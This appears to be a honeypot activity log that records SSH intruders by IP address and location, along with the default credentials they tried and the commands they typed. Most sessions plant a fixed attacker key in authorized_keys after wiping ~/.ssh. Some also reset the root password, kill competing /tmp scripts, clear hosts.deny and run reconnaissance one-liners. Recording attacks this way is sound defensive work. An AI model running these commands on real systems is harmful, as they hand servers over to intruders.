🎭 rusty_neon_root (47.243.137.13) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-05-12 17:10 EDT · as root/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 jittery_gouda_root_111 (192.42.116.111) — Amsterdam, The Netherlands · 1 session · 3 cmds

2026-05-12 15:56 EDT · as admin/admin

CPU profiling → CPU profiling → ?

$ echo "bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778615765969107763" | sh

↳ CPU profiling

$ bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778615765969107763

↳ CPU profiling

$

🎭 stoic_dragon_root_21 (114.218.57.21) — Nanjing, China · 1 session · 1 cmd

2026-05-12 13:53 EDT · as root/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 feral_rioja_sol (46.37.82.131) — Málaga, Spain · 1 session · 19 cmds

2026-05-12 11:43 EDT · as root/qwerty

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:hqoUuyrp5AEz"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 nocturnal_pho_root (171.244.37.103) — Hanoi, Vietnam · 1 session · 2 cmds

2026-05-12 06:18 EDT · as oracle/111111

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 crimson_frost_root (156.227.232.198) — Moscow, Russia · 1 session · 2 cmds

2026-05-12 05:18 EDT · as oracle/Oracle2024

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 lurking_batik_root (202.184.134.88) — Kuala Lumpur, Malaysia · 1 session · 2 cmds

2026-05-12 04:54 EDT · as oracle/Oracle2024

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 murky_panda_root_102 (82.156.110.102) — Beijing, China · 1 session · 1 cmd

2026-05-12 01:54 EDT · as postgres/postgres

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 silent_pierogi_root (83.168.110.83) — Warsaw, Poland · 32 sessions · 32 cmds

2026-05-12 00:00 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 32x across 32 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×32

🎭 aloof_eagle_root (170.106.198.227) — Santa Clara, United States · 1 session · 1 cmd

2026-05-12 00:25 EDT · as test/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 scrappy_dimsum_root (103.210.21.225) — Hong Kong, Hong Kong · 1 session · 2 cmds

2026-05-11 23:06 EDT · as oracle/oracle2019

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 savage_chai_root (206.189.132.238) — Bengaluru, India · 1 session · 1 cmd

2026-05-11 17:41 EDT · as admin/admin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 rogue_peak_root (47.239.41.206) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-05-11 15:02 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 venomous_echo_root (41.90.100.147) — Nairobi, Kenya · 1 session · 2 cmds

2026-05-11 14:55 EDT · as oracle/11111

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 venomous_hawker_root (68.178.160.148) — Singapore, Singapore · 1 session · 1 cmd

2026-05-11 13:27 EDT · as admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 listless_wok_root (39.97.249.70) — Beijing, China · 1 session · 1 cmd

2026-05-11 11:38 EDT · as pi/pi

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 placid_merlion_db (165.22.248.213) — Singapore, Singapore · 1 session · 1 cmd

2026-05-11 10:46 EDT · as test/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 gnarled_eagle_root_36 (96.78.175.36) — Sunnyvale, United States · 1 session · 2 cmds

2026-05-11 09:29 EDT · as oracle/1234

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 restless_windmill_root (107.189.27.179) — Zaandam, Netherlands · 2 sessions · 21 cmds

2026-05-11 06:41 EDT · as oracle/Qq123456, root/admin

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:TDPosVbY6gnv"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 nocturnal_toucan_root_230 (177.85.247.230) — Timon, Brazil · 1 session · 2 cmds

2026-05-11 06:45 EDT · as oracle/P@ssw0rd

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 molten_cipher_root (161.132.4.167) — Chincha Alta, Peru · 3 sessions · 12 cmds

2026-05-08 13:43 EDT · as root/123456, root/password

export → uname → cat (repeated export 3x)

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×3

$ uname -s -v -n -m 2 > /dev/null ×3

$ uname -m 2 > /dev/null ×3

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×3

🎭 jittery_gouda_root_95 (192.42.116.95) — Amsterdam, The Netherlands · 1 session · 3 cmds

2026-05-11 06:36 EDT · as admin/admin

CPU profiling → CPU profiling → ?

$ echo "bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778495797416590359" | sh

↳ CPU profiling

$ bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778495797416590359

↳ CPU profiling

$

🎭 crimson_hanbok_root_164 (39.115.195.164) — Seocho-gu, South Korea · 1 session · 2 cmds

2026-05-11 06:20 EDT · as oracle/oracle123!@#

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 brisk_burger_root_218 (104.209.7.218) — San Francisco, United States · 4 sessions · 28 cmds

2026-05-11 01:32 EDT · as root/1234, root/123456, root/12345678

execute from /tmp → password change attempt

$ echo "===HOSTNAME==="; hostname 2>/dev/null || echo EMPTY;; echo "===UNAME==="; uname -a 2>/dev/null || echo EMPTY;; echo "===WHOAMI==="; whoami 2>/dev/null || echo EMPTY;; echo "===PWD==="; pwd 2>/dev/null || echo EMPTY;; echo "===LS_ROOT==="; ls -la / 2>/dev/null | head -10 || echo EMPTY;; echo "===PS==="; ps aux 2>/dev/null | head -15 || echo EMPTY;; echo "===NETSTAT==="; netstat -tulpn 2>/dev/null | head -10 || echo EMPTY;; echo "===HISTORY==="; history 2>/dev/null | tail -5 || echo EMPTY;; echo "===SSH_VERSION==="; ssh -V 2>&1 || echo EMPTY;; echo "===UPTIME==="; uptime 2>/dev/null || echo EMPTY;; echo "===MOUNT==="; mount 2>/dev/null | head -5 || echo EMPTY;; echo "===ENV==="; env 2>/dev/null | head -10 || echo EMPTY;; echo "===CPU_CORES==="; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null || echo 0;; echo "===ARCH==="; uname -m 2>/dev/null || echo unknown;; echo "===CPU_MODEL==="; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1 | cut -d ':' -f2- | sed 's/^ *//' || echo unknown;; echo "===RESOURCES==="; echo MEMKB=$(awk '/MemTotal/{print $2}' /proc/meminfo 2>/dev/null) DISKKB=$(df / 2>/dev/null | awk 'NR==2{print $2}') USERCNT=$(wc -l < /etc/passwd 2>/dev/null) PKGCNT=$(dpkg -l 2>/dev/null | grep -c '^ii' || rpm -qa 2>/dev/null | wc -l || echo 0);; echo "===CONTAINER==="; cat /proc/1/cgroup 2>/dev/null | head -3; test -f /.dockerenv && echo DOCKERENV; test -f /run/.containerenv && echo CONTAINERENV; echo;; echo "===COWRIE==="; ls /opt/cowrie /home/richard /etc/cowrie 2>&1;; echo "===DMESG==="; dmesg 2>/dev/null | head -5 || echo EMPTY;; echo "===PORTS==="; ss -tulpn 2>/dev/null | grep LISTEN | head -20 || netstat -tulpn 2>/dev/null | grep LISTEN | head -20 || echo EMPTY;; echo "===NETCFG==="; ls -la /etc/network/interfaces /etc/sysconfig/network-scripts/ /etc/netplan/ 2>/dev/null | head -3 || echo EMPTY;; echo "===IPADDR==="; ip addr show 2>/dev/null | grep -E '^[0-9]+:' | head -5 || echo EMPTY;; echo "===IPROUTE==="; ip route show 2>/dev/null | head -3 || echo EMPTY;; echo "===WRITE==="; TF=/tmp/t_$$; echo test > $TF 2>&1 && echo WRITEOK && rm -f $TF || echo WRITEFAIL;; echo "===IDCHECK==="; id 2>/dev/null && echo IDOK || echo IDFAIL; whoami 2>/dev/null && echo WHOAMIOK || echo WHOAMIFAIL;; echo "===PKGMGR==="; which apt 2>/dev/null || which yum 2>/dev/null || which pacman 2>/dev/null || which zypper 2>/dev/null || echo NOPKG;; echo "===SERVICES==="; systemctl list-units --type=service --state=running 2>/dev/null | head -10 || echo NOSVC;; echo "===SOCKETS==="; ss -tuln 2>/dev/null | wc -l || echo 0;; echo "===GPU==="; nvidia-smi --query-gpu=name,memory.total,driver_version --format=csv,noheader 2>/dev/null || echo NOGPU;; echo "===MAXDISK==="; df -BG 2>/dev/null | awk 'NR>1{gsub("G","",$2); if($2+0>max) max=$2+0} END{print max+0}' || echo 0;; echo "===END===" ×4

↳ execute from /tmp

$ awk /MemTotal/{print $2} /proc/meminfo 2 > /dev/null ×4

$ df / 2 > /dev/null | awk NR==2{print $2} ×4

$ wc -l < /etc/passwd 2 > /dev/null ×4

↳ password change attempt

$ dpkg -l 2 > /dev/null | grep -c ^ii ×4

$ rpm -qa 2 > /dev/null | wc -l ×4

$ echo 0 ×4

🎭 baroque_bamboo_root (42.96.20.16) — Hanoi, Vietnam · 1 session · 2 cmds

2026-05-11 01:14 EDT · as oracle/pass

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 drowsy_jade_root (103.153.5.9) — Haidian, China · 2 sessions · 4 cmds

2026-05-11 00:46 EDT · as oracle/oracle11, oracle/pass

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 feral_jade_root_97 (14.103.127.97) — Haidian, China · 1 session · 1 cmd

2026-05-11 00:01 EDT · as oracle/os10+ZTE

file attribute tampering

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

🎭 venomous_dragon_root_146 (222.186.24.146) — Nanjing, China · 1 session · 20 cmds

2026-05-10 23:56 EDT · as ubuntu/1q2w3e4r

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "1q2w3e4r\ngQ2SvlFoZNkd\ngQ2SvlFoZNkd"|passwd|bash

$ Enter new UNIX password:

$ echo "1q2w3e4r\ngQ2SvlFoZNkd\ngQ2SvlFoZNkd\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 haywire_batik_root (41.216.177.55) — Jakarta, Indonesia · 1 session · 2 cmds

2026-05-10 23:19 EDT · as oracle/test123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 scrappy_chai_root (103.248.120.6) — Meerut, India · 1 session · 2 cmds

2026-05-10 23:00 EDT · as oracle/os10+ZTE

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rabid_cowboy_root (159.223.196.243) — Santa Clara, United States · 1 session · 1 cmd

2026-05-10 22:44 EDT · as user/user

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 rabid_tulip_root (195.133.77.217) — Amsterdam, The Netherlands · 1 session · 2 cmds

2026-05-10 22:41 EDT · as oracle/os10+ZTE

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

